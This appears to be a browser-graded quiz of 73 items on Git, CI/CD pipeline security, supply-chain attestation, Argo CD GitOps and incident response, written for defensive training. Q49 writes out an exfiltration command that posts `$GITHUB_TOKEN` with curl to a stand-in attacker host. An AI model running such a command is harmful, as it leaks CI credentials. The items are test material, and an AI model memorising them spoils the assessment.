1. Q1. A file's content is stored in Git. Which object type holds the bytes of the file?

   tree commit blob tag

2. Q2. An engineer ran `git reset --hard HEAD~3` on a feature branch, realised the commits were valuable, and wants to recover them. The reflog has not expired. What is the correct recovery?

   `git reflog` to find the prior HEAD SHA, then `git reset --hard` to that commit `git fsck --lost-found` to list dangling commits, then `git show` each one to find the tip `git revert HEAD HEAD~1 HEAD~2` to recreate the lost commits on top of the current HEAD `git reflog expire --expire=never` then `git gc --prune=now` to recover the unreachable objects

3. Q3. A team uses `uses: actions/checkout@v4` in 200 workflows. An upstream compromise replaces the `v4` tag with a malicious commit. What is the blast radius the next time any workflow runs?

   Only workflows that ran in the last 24 hours, because GitHub caches actions for one day before evicting them from the runner image and re-resolving on the next run Only the workflow that ran first, because subsequent runs verify the digest Every workflow that uses `actions/checkout@v4`, because mutable tags are resolved at run time No workflows, because GitHub pins action versions to the digest of the first run

4. Q4. A secret was committed to `main` six months ago. The team has run `git filter-repo` to remove the file, force-pushed, and notified the secret store. Which of the following is the remaining risk?

   The secret is still in every clone, fork, mirror, and CI cache that pre-dates the rewrite The reflog on the rewritten branch still contains the original SHA, so the secret is recoverable Both of the previous answers are true, and the secret must be treated as still exposed No risk; `git filter-repo` cryptographically shreds the bytes from the object store

5. Q5. `git push --force-with-lease` is always safe to use on a shared branch because it refuses to overwrite the remote tip.

   True False

6. Q6. An annotated tag and a lightweight tag are the same object type under the hood, and differ only in whether the tagger's name, email, and message are recorded.

   True False

7. Q7. Explain the difference between `git revert` and `git reset --hard`. When is each the right answer in a team-shared branch, and what does the audit trail look like after each?

8. Q8. A force-push at 02:14 replaced `main` with a two-commit history. CI is green, but production is running the previous build because the deploy pipeline pinned to a digest. The team needs to know whether to roll back to the old tip, whether the rewrite is recoverable, and whether the audit trail can be reconstructed. Describe the investigation, the decision, and the evidence.

   An engineer force-pushed to `main` after a rebase, replacing the eight-commit history with a squashed two-commit history. The pre-push tip was at commit `8f1a2b3`. The push went through because branch protection does not block force-pushes from the bypass list, which includes the on-call rotation. Production is pinned to the container digest `sha256:9c4e...7a` built from `8f1a2b3`.

9. Q9. A `git filter-repo` operation removed a file containing a database password from history. The team force-pushed, ran `git reflog expire`, and ran `git gc --prune=now` on the primary remote. An auditor asks "is the secret still exposed anywhere we control?" Describe the investigation and the answer.

   The secret was committed in a `.env` file at commit `c4f2a91`, six months ago. The team ran the rewrite on the primary remote, on a self-hosted GitLab instance with a single primary, one read-only mirror, and an S3-backed backup. CI caches from before the rewrite are retained for 30 days. Container images built before the rewrite are retained.

10. Q10. A pipeline builds the same Docker image twice on different runners, with the same source commit and the same inputs. The digests differ. What is the most likely cause?

    The runners have different base images installed locally, which leaks into the build context The Dockerfile uses `COPY` with a file whose mtime differs between runners, breaking reproducibility Both of the previous answers are reproducible build failures, and the build is not content-addressed A reproducible build is impossible; the two digests are expected and prove the build is honest

11. Q11. A Terraform apply in production succeeded at 03:00, but the on-call engineer cannot reproduce the plan that ran. The plan file was uploaded as a CI artifact, but the artifact retention window has expired. What control was missing?

    A long-lived artifact store (object storage) for plan files, separate from CI retention A lockfile on the Terraform providers so the next plan uses the same versions A GitOps reconciliation loop that re-creates the plan from Git on every reconcile A separate OIDC identity for the apply job, so the plan can be tied to the actor

12. Q12. A workflow sets `concurrency: production` with `cancel-in-progress: false`. Two production deploys are triggered in quick succession. What happens?

    The first deploy is cancelled and the second runs to completion Both deploys run in parallel, because the concurrency group is a label, not a lock The first deploy runs to completion; the second waits in the queue and runs after Both deploys fail, because two in-flight production deploys is a policy violation

13. Q13. Caching the `node_modules` directory keyed on the lockfile hash makes the cache deterministic and prevents stale-cache bugs.

    True False

14. Q14. Rebuilding the same container image per environment (dev, staging, prod) is a valid promotion pattern as long as the Dockerfile is identical and the build inputs are pinned.

    True False

15. Q15. Explain the three-plane model of a CI/CD system (control plane, runner, target). Name the trust boundary at each plane and the control that protects it.

16. Q16. A pipeline is 47 minutes long. Engineering wants it under 10. The cache restores everything successfully, the matrix is already sharded by directory, and the test suite is parallel. Where is the remaining time going, and what is the next change?

    A Go monorepo with 240,000 files. The pipeline runs `go test ./...` across 8 shards on hosted runners. Cache restores in 14 seconds. Test execution averages 3-4 minutes per shard. Runner image download is the largest line item in the trace.

17. Q17. An SBOM is generated for a container image in CI. Which of the following is the operational use of the SBOM that closes the loop with vulnerability management?

    Generating the SBOM satisfies SLSA Build L3 by itself, regardless of what happens after Posting the SBOM to a Slack channel so reviewers can read it manually Embedding the SBOM as a layer in the image so it ships with the artifact Storing the SBOM in the registry as an attestation, and matching it against CVE feeds to gate deploys

18. Q18. An action is pinned to a commit SHA. A maintainer pushes a fix to a new commit but does not move the tag. The team's workflows still use the old commit. What is the right next step?

    Open a Renovate or Dependabot PR that bumps the SHA, run the test suite, and merge Switch to the tag reference so the workflow always sees the latest fix Pin to the tag with a version constraint like `@v4.2`, which auto-resolves within the minor Fork the action and vendor it under the team namespace so the team controls updates

19. Q19. A Cosign signature is generated with a key in GitHub Actions via `cosign sign --key env://COSIGN_KEY`. The key is a long-lived base64-encoded value stored as an organisation secret. What is wrong with this picture?

    Nothing; the key is masked in the runner UI and the signature is valid Cosign does not support env-based keys; only KMS-based or keyless signing are valid, and the official documentation states that env-based keys are deprecated as of Cosign 2.0 and removed in Cosign 3.0 The key is short, but the secret is reachable by every workflow in the organisation, so the blast radius is every image the org signs The signature is unverifiable because no Rekor entry was created

20. Q20. SLSA Build L3 guarantees that the build artefacts were produced on a hardened build platform that resists runtime tampering, even if the source repository is compromised.

    True False

21. Q21. An image tagged `myorg/app:1.2.3` should be considered immutable for deployment, because registries honour immutable tags.

    True False

22. Q22. Describe the Sigstore stack (Cosign, Fulcio, Rekor). For each component, state what it provides and what attack it defends against.

23. Q23. A `package.json` dependency `left-pad-utils@1.0.0` has been compromised upstream. A malicious version `1.0.1` was published with a post-install script. The team's `package-lock.json` did not pin a version constraint tightly. Describe the investigation, the blast-radius assessment, and the remediation.

    The pipeline runs `npm install` in a fresh runner with no cache. The `package.json` had `"left-pad-utils": "^1.0.0"`, and `package-lock.json` resolved to `1.0.0` when the lockfile was last updated. Two days ago, the upstream maintainer published `1.0.1` with a post-install that exfiltrates the runner environment.

24. Q24. An Argo CD Application is `Synced: False` and `Healthy: True`. The cluster is fine and workloads are reporting Ready. What is the most likely cause?

    A controller outage has paused reconciliation; the cluster will drift further The repository is unreachable; Argo CD cannot fetch, but the previous state remains A `kubectl edit` or other out-of-band change was made; the cluster has drifted from Git The Application sync policy automated prune is set to false, blocking reconciliation

25. Q25. An ApplicationSet generates 200 Applications across 200 clusters. The source Helm chart is updated, and the rollout should be 5% of the fleet at a time. Which Argo CD feature provides the cohort semantics?

    ApplicationSet rolling-sync strategy with `step` definitions per cohort Sync windows, configured per cluster, with a per-cluster pause between windows A separate Application per cohort, with each Application revision updated atomically Sync phases with manual gates on the ApplicationSet controller

26. Q26. A team is moving from `kubectl apply` in CI to Argo CD. Which of the following is the correct production policy for `prune`?

    `prune: true` everywhere, because the repository is the source of truth and drift is always wrong `prune: true` with `selfHeal: false`, so the cluster reflects Git on the next sync but does not fight ad-hoc fixes `prune: true` for non-prod and `prune: false` for prod, with a manual sync in prod `prune: false` by default, with `prune: true` enabled only on namespaces that have an explicit allowlist

27. Q27. The pull model of GitOps requires the cluster to have outbound internet access to the Git repository, but it does not require the cluster to be reachable from the internet.

    True False

28. Q28. Disabling `selfHeal` in Argo CD is a safe way to "pause" reconciliation while an engineer investigates, because the controller continues to read Git and report drift.

    True False

29. Q29. Compare the Argo CD and Flux models of reconciliation. How do they differ in how an Application is declared, in how drift is detected, and in how Helm releases are managed?

30. Q30. A bad Helm value reaches production. The Argo CD Application goes `OutOfSync`, but the `selfHeal` policy is on, and the controller rolls back the cluster to the broken value on every reconcile. The cluster is stuck in a thrash loop. Describe the immediate response, the rollback decision, and the prevention.

    A merge to `main` updated a Helm values file in `prod/`. Argo CD detected the diff and applied it. The new value broke the application, and on the next reconcile, self-heal saw the same Git value and re-applied it. The controller logs show `OutOfSync` then `Sync` then `OutOfSync` repeating every 3 minutes.

31. Q31. A workflow uses `aws-actions/configure-aws-credentials@v4` with OIDC. The trust policy on the AWS role allows `token.actions.githubusercontent.com:sub: repo:myorg/myrepo:ref:refs/heads/main`. A pull request from a fork runs the workflow. What happens?

    The OIDC token sub claim contains the base repo ref only when triggered from the base repo; PRs from forks have a different sub and the role is not assumed The workflow receives AWS credentials, because the OIDC token is valid for the repo The workflow receives credentials only if the PR has been approved; unapproved PRs are denied The workflow receives credentials scoped to read-only, regardless of the role policy

32. Q32. A database password was added as a GitHub Actions secret `DB_PASSWORD` with masking enabled. A workflow step runs `echo "DEBUG: $DB_PASSWORD"`. What does the runner see, and what does the log show?

    The log shows asterisks and the runner sees the value in the environment; masking is a UI feature, not a control The log is replaced with asterisks and the runner sees the value masked, so the secret is safe The log is replaced with asterisks and the runner sees the unmasked value, but only in this specific step The workflow fails, because GitHub Actions rejects any step that prints a registered secret

33. Q33. A team uses SOPS with age to encrypt a Kubernetes Secret in Git. The decryption key is held in HashiCorp Vault, and External Secrets Operator reads it. Which statement is true?

    The Secret in Git is encrypted, so secret scanning cannot detect a leak The Secret in Git is encrypted, but the SOPS file format is detectable, and a leaked SOPS file with no key is treated as exposed SOPS is end-to-end encrypted; the Kubernetes Secret in the cluster is never readable in cleartext SOPS guarantees forward secrecy because age uses an X25519 key exchange

34. Q34. GitHub secret scanning with push protection rejects any push that contains a string matching a known provider token pattern, including tokens the user owns.

    True False

35. Q35. A long-lived AWS access key in a CI environment is acceptable as long as it is scoped to read-only IAM permissions.

    True False

36. Q36. Describe the three layers of secret management in a CI/CD system. For each layer, give one example tool or pattern and the attack it mitigates.

37. Q37. A secret-scanning alert fires at 04:12: a GitHub PAT was pushed to a feature branch. The push was 23 minutes before the alert. Describe the immediate response, the rotation, and the prevention.

    The PAT belongs to `alice@company`, a developer with `repo` and `workflow` scopes. The token was pasted into a test file that was committed and pushed. Push protection did not trigger because the file was committed via the GitHub web editor, which does not run the same pre-push check.

38. Q38. CODEOWNERS requests a review from the `platform-security` team on any change to `auth/`. A PR modifies only files under `auth/`. The `platform-security` team is also the PR author. What happens with branch protection requiring one approval?

    The author approval is rejected by CODEOWNERS; the PR cannot merge The author approval is accepted, and the PR merges, because CODEOWNERS only requires a reviewer from the team, not a separate person The PR is blocked until an admin approves, because CODEOWNERS has no eligible reviewer The PR is auto-merged because the author is the team owner

39. Q39. A required status check `ci/security-scan` is configured on `main`. The workflow that produces this check has `permissions: contents: read` only. A PR tries to merge with the check passing. What is the correct interpretation?

    The check passed, so the PR is eligible to merge The check is green, but the workflow may not have been able to write back the check; verify the workflow has `checks: write` and `actions: read` The check is always green because the workflow has no write permissions, so the gate is meaningless and provides no real protection against merges of malicious code that would otherwise fail the security scan The check is in `expected` status and does not block the merge

40. Q40. A regulated environment requires that every change to a production config has two approvals from different teams, and that the approvers are not the author. Which combination of controls enforces this?

    Branch protection with two required reviewers, plus CODEOWNERS requiring `team-a` and `team-b` A wiki page documenting the policy, plus CODEOWNERS Required status checks from two CI jobs, plus a manual approval Branch protection with a required reviewer from the same team, plus a Slack approval

41. Q41. Approval fatigue is a structural control failure, not a human error, because the system allows low-quality approvals to count toward the required count.

    True False

42. Q42. Explain the difference between a structural control and a procedural control in a CI/CD system. Give one example of each for the policy "production deploys require approval from a human who is not the author."

43. Q43. A regulated audit asks for "the list of every change to the production Kubernetes manifests in 2025, the approver, and the deployment timestamp." A passing student knows which four systems hold each piece and how to join them. Describe the evidence and the joins.

    The manifests live in a Git repository under `k8s/prod/`. Argo CD reconciles the cluster. Deployments emit events to the observability stack (Loki and Prometheus). Approvals are GitHub PR reviews.

44. Q44. A self-hosted GitHub Actions runner is configured to run `runs-on: [self-hosted, linux, x64]`. The runner is a long-lived VM that has been executing jobs for 14 months. A malicious dependency in one job gains persistence on the runner. What is the most important immediate action?

    Drain the runner (mark offline) and do not let it pick up new jobs; investigate Reboot the runner to clear the in-memory payload Rotate the runner registration token and keep the runner running Re-image the runner with the same setup script and continue

45. Q45. A workflow builds a container image with `docker build`. The runner has the Docker socket mounted at `/var/run/docker.sock`. An attacker controls a step in the workflow. What can they do?

    Only what the workflow can do: build and push an image Escape the runner container and execute arbitrary commands on the host, because the Docker socket is a privileged API Read other workflows secrets from the host environment Both of the previous answers: escape the container, run as root on the host, and read every secret on the host

46. Q46. A pipeline uses Actions Runner Controller (ARC) on Kubernetes. Each job schedules a fresh Pod that runs the runner and tears down on completion. What attack class is effectively retired by this design?

    Supply-chain attacks on third-party actions Persistence on the runner host between jobs Credential theft from the runner environment Malicious commit attacks on the source repository

47. Q47. Running a build container with `privileged: true` is a safe pattern when the build context is trusted.

    True False

48. Q48. List three controls that defend against a compromised workflow step, and explain what each one stops.

49. Q49. A workflow step in a pull request from a fork appears benign but executes `curl https://attacker.example/exfil -d "$GITHUB_TOKEN"`. The PR has not been approved. What is the blast radius, and which controls should have stopped it?

    The workflow runs on `pull_request_target` and checks out the PR head with full token access. The `GITHUB_TOKEN` has `contents: read` and `packages: write` by default in the org.

50. Q50. A blue-green deployment uses a router weight split (90/10) to shift traffic. The new version (green) has a 5% error rate during the canary. The old version (blue) is healthy. What is the correct action?

    Continue the rollout at 25/75, then 50/50, and watch the error rate Roll the router back to 100% blue and investigate the green error rate Roll forward by fixing the green error rate in place Wait for the canary window to expire and decide based on the average error rate

51. Q51. A schema migration ran as part of a canary deploy. The new version is failing. A rollback is requested. What is the correct decision framework call?

    Roll back, because rollback is always safer than forward-fix Forward-fix, because rolling back would leave the database on the new schema that the old version cannot read Roll back the application, but leave the schema migration applied Stop the rollout, investigate, and decide based on the cost of forward-fix vs rollback

52. Q52. A GitOps controller reconciles the cluster to Git. The team wants to roll back a failed release. Which approach is durable and audit-friendly?

    `kubectl rollout undo` the Deployment, and do not touch Git `argocd app rollback` to a prior revision, and then commit the same change to Git to reconcile the controller Force a `kubectl apply` of the old manifest directly to the cluster `argocd app sync --revision` to a prior SHA, with self-heal disabled, and do not touch Git

53. Q53. A `Recreate` deployment strategy guarantees zero-downtime because the old Pods are torn down before the new ones are created.

    True False

54. Q54. Describe the rollback decision framework for a production incident caused by a new release. List three questions to ask before rolling back.

55. Q55. A canary to 5% of the fleet shows a 2x increase in p99 latency for the new version. No error rate increase. CPU and memory on the new Pods are within budget. Describe the next three steps and the decision tree at each.

    The canary is 5% of traffic on 3 of 60 Pods. p99 latency went from 180 ms to 360 ms. Error rate is 0.01% on both old and new. CPU and memory are unchanged.

56. Q56. GitHub Actions artifact attestations are built on which underlying specification?

    SPDX CycloneDX in-toto SLSA

57. Q57. A deployment receipt must answer four questions for an auditor. Which of the following is NOT part of a complete receipt?

    The artifact digest that was deployed The source commit SHA the artifact was built from The engineer salary band at the time of deploy The approver identity and the approval timestamp

58. Q58. An auditor asks "what ran in production at 14:23 on 5 March 2026, and how did it get there?" The system of record is the artifact digest. Which pair of sources is the minimum to answer the "how did it get there" part?

    The container registry manifest and the SBOM The GitOps controller sync history and the source commit in the deployment repository The CI workflow log and the runner local filesystem snapshot The Kubernetes event log and the cluster audit log

59. Q59. An untested backup is a wish, and an unattested artifact is the same shape of risk for the supply chain.

    True False

60. Q60. A production image is suspected of containing a known-exploited CVE. The team must decide whether to rebuild, to replace the tag in the cluster, or to roll forward with a patch. Describe the evidence and the decision.

    The image is `myorg/app@sha256:abcd...`. The CVE is in a base-image layer. The cluster has 14 Pods running this digest across two namespaces. The workflow that builds the image uses `FROM node:20` (a mutable tag).

61. Q61. An auditor asks, six months after a release, "show me the change, the approver, the artefact, the deploy timestamp, and the rollback target, for release 2.4.1." Describe where each piece of evidence lives and how to join them.

    Release 2.4.1 shipped on 15 September. The release tag points to commit `b3a9f1c`. The container image was built by workflow run 9821. The deploy to production ran at 11:42 UTC. Argo CD synced the release branch to the cluster.

62. Q62. The Git host (GitHub Enterprise) is unreachable from the cluster. Argo CD cannot fetch new manifests. Production is running the last synced version and is healthy. What is the correct immediate posture?

    Disable the Argo CD controller to stop sync attempts and reduce log noise, which is the safest first action when Git is unreachable to avoid filling disk with retry logs and alerting fatigue Continue running; the cluster is healthy; the controller will catch up when Git returns; alert on the Git-host health Force a sync from a local clone of the repository stored in the cluster Switch to a different Git provider and reconfigure all Applications

63. Q63. The container registry is down for 90 minutes during a canary rollout. The canary Pods cannot pull the new image. What is the blast radius and the mitigation?

    The canary Pods CrashLoopBackOff on `ImagePullBackOff`; the existing Pods are unaffected; the canary stalls and alerts fire All running Pods also fail, because the kubelet re-pulls the image on every restart The cluster is unaffected, because running Pods are already cached locally on each node The registry is a hard dependency; the cluster will go dark within minutes

64. Q64. In a GitOps system, the correct response to a reconciliation loop (a controller that keeps reverting a change) is to disable self-heal, not to disable sync.

    True False

65. Q65. A supply-chain attack is disclosed on a widely used build tool at 16:00 UTC. The team CI uses this tool. Describe the immediate response, the artefact inventory, and the rebuild plan.

    The advisory says versions `4.2.1` and earlier of `buildy` execute a payload on install. The team workflow runs `buildy build` on every CI job. A clean release `4.2.2` is available.

66. Q66. A developer laptop is stolen while unlocked. The laptop has valid Git credentials for the production GitOps repository, a long-lived AWS access key in `~/.aws/credentials`, and a `kubectl` context for the production cluster. Describe the immediate response.

    The Git credentials are a GitHub PAT with `repo`, `workflow`, and `admin:org` scopes. The AWS key has AdministratorAccess. The `kubectl` context uses a kubeconfig with a ServiceAccount token.

67. Q67. A CI runner is suspected of compromise: an IDS alert flags outbound traffic to a known C2 domain from a runner IP. The runner is long-lived and has executed 2,400 jobs in the last 30 days. Describe the containment, the artefact inventory, and the recovery.

    The runner is a self-hosted GitHub Actions VM labelled `prod`. The IDS alert is dated today, 09:14. The runner has access to a production OIDC role (via `aws-actions/configure-aws-credentials`) and to a registry write token.

68. Q68. The artifact registry is compromised: an attacker with stolen push credentials has pushed a new tag of a production image to point at a malicious digest. The cluster does not pull by tag, only by digest. Describe the exposure, the containment, and the decision about the tag.

    The tag `myorg/app:2.4.1` now resolves to a new digest that was not produced by the team pipeline. The cluster pulls by digest `@sha256:abcd...`, and no Deployment is currently using the malicious digest.

69. Q69. Which controls are required for a defensible self-hosted runner boundary? Select all that apply.

    Use ephemeral runners or replace the instance after each job Restrict repository/runner-group access and review workflow changes Mount the host Docker socket so jobs can build faster Use job-scoped OIDC and restrict network egress Store a long-lived production cloud key in the runner image

70. Q70. A secret was committed to a shared repository. Which actions belong in the response? Select all that apply.

    Revoke or rotate the live credential before relying on history cleanup Audit use, clones, forks, mirrors, logs, and downstream systems Delete only the latest commit and declare the secret removed Coordinate history rewrite and require affected consumers to re-clone Add scanning and short-lived identity controls to prevent recurrence

71. Q71. Which evidence belongs in a deployment receipt capable of reconstructing a production change? Select all that apply.

    Source commit and immutable artifact digest Workflow run and builder/provenance identity Approver, environment, and deployment timestamp Rollback target and verification result The operator desktop wallpaper used during deployment

72. Q72. During a GitOps break-glass event, which controls are valid? Select all that apply.

    Pause automated sync through a documented supported control Record owner, reason, start time, and expiry in the incident record Apply the smallest emergency change and capture the same change in Git Leave reconciliation paused after service recovery to avoid future conflict Restore reconciliation, refresh health, and verify live state matches Git

73. Q73. Which statements correctly distinguish immutability from retention? Select all that apply.

    A registry digest guarantees the blob is retained forever A Git object ID cannot later identify different object bytes An unreachable commit may eventually be pruned by garbage collection A mutable tag is sufficient evidence of the artifact tested in staging Protected refs, retention policy, and backups preserve rollback material

Passing score: 80%. Answers are checked in this browser.